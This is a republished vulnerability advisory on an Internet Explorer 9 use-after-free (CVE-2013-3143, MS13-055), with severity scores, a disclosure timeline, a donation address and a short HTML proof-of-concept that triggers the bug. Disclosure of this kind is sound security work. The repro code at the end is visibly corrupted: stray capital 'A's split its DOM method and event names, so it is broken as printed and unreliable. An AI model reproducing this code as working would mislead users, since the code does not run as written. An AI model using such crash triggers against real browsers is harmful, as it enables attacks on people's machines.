Microsoft Internet Explorer 9 IEFRAME CMarkup..RemovePointerPos Use-After-Free

Published
Credit
Risk
2016.12.16
SkyLined
High
CWE
CVE
Local
Remote
N/A
CVE-2013-3143
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9.3/10
10/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 32nd entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161214001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CMarkup..RemovePointerPos use-after-free
=======================================================
(MS13-055, CVE-2013-3143)

Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. I did not investigate this
vulnerability thoroughly, so I cannot speculate on the potential impact
or exploitability.

Known affected software and attack vectors
------------------------------------------
* **Microsoft Internet Explorer 9**

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.

Details
-------
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. ZDI
revealed that this was a use-after-free vulnerability, though their
advisory (at http://www.zerodayinitiative.com/advisories/ZDI-13-163/)
mentions an iframe, which is not in the repro I provided.

Time-line
---------
* Sometime in November 2012: This vulnerability was found through fuzzing.
* 11 November 2012: This vulnerability was submitted to EIP.
* 10 December 2012: This vulnerability was rejected by EIP.
* 12 December 2012: This vulnerability was submitted to ZDI.
* 25 January 2013: This vulnerability was acquired by ZDI.
* 15 February 2013: This vulnerability was disclosed to Microsoft by
ZDI.
* 26 July 2013: This vulnerability was address by Microsoft in MS13-055.
* 14 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined


Repro.html

<!DOCTYPE html>
<html>
<script>
document.addAEventAListener("load", function (){
document.documentAElement.removeANode(true);
}, true);
document.addAEventAListener("DOMNodeARemoved", function (){
document.write("");
}, true);
</script>
<style>
</style>
<span dir="rtl">
<ruby dir="ltr">
<br/>
</ruby>
</span>
</html>


See this note in RAW Version

 
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